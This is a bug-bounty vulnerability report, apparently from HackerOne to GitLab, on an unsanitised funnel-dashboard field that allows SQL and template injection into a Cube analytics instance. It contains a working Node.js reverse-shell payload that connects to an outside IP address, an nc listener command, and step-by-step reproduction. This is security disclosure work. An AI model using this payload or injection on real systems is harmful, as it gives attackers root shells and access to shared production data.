Reverse shell with root access to analytics Cube instance on prod
HackerOne report #2687770 by joaxcar on 2024-08-29, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
First of all, sorry if I am misinterpreting this. I believe that this is a shared prod instance, but I could be wrong. I put it as critical because of this but feel free to change this if I am wrong!
Summary
When using Product Analytics ((docs)[https://docs.gitlab.com/ee/user/product_analytics/]) there is an option to use a Gitlab hosted solution ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#product-analytics-provider]) that runs in GCP. (the attack works on self hosted instances as well but I belive that the GCP instance from Gitlab is shared)
There is also an option in a project to configure something called a funnel dashboard ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#create-a-funnel-dashboard]) when doing this you specify a config looking like this
seconds_to_convert: 3600
steps:
- name: view_page_1
target: '/page1.html'
action: 'pageview'
and its used in a query in the backend that looks like this
def to_sql
<<-SQL
SELECT
(SELECT max(derived_tstamp) FROM gitlab_project_#{project.id}.snowplow_events) as x,
arrayJoin(range(1, #{steps.size + 1})) AS level,
sumIf(c, user_level >= level) AS count
FROM
(SELECT
level AS user_level,
count(*) AS c
FROM (
SELECT
user_id,
windowFunnel(#{[@]seconds_to_convert}, 'strict_order')(toDateTime(derived_tstamp),
#{steps.filter_map(&:step_definition).join(', ')}
) AS level
FROM gitlab_project_#{project.id}.snowplow_events
WHERE ${FILTER_PARAMS.#{[@]name}.date.filter('derived_tstamp')}
GROUP BY user_id
)
GROUP BY level
)
GROUP BY level
ORDER BY level ASC
SQL
As you can see #{[@]seconds_to_convert} is used without sanatization. Thus its possible to inject any string here.
This SQL query will be sent as a string to Cube where it will then be used as a query to ClickHouse. Its possible to just do a SQL injection here into the Clickhouse DB. But we can also gain RCE on the Cube instance by adding a seconds_to_convert like this
${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(12345, '137.184.138.220', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}
the ${command} syntax will execute in the Node context in Cube as root generating a reverse shell to my server at 137.184.138.220
Steps to reproduce
- Create a group with an Ultimate license on gitlab.com (use a trial)
- Create a project in the group
- Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboardsand clickSet upon the right ofProduct analytics - Select
Use Gitlab managed provider - Let it configure
- Creata a file
.gitlab/analytics/funnels/test.yamlwith this content (replace PORT and IP_ADDR to your catch server
seconds_to_convert: "${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(PORT, 'IP_ADDR', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}"
steps:
- name: view_page_1
target: '/page1.html'
action: 'pageview'
- Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/and create a new dashboard. Select your new funnel as a visualization - Start the catch server at your
IP_ADDRlike this
nc -l -p 12345
- Now visit the new
dashboard - On your catch server you should now be able to run commands
Impact
RCE on analytics Cube instance
Examples
Output of checks
This bug happens on GitLab.com
Impact
RCE on analytics Cube instance
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:

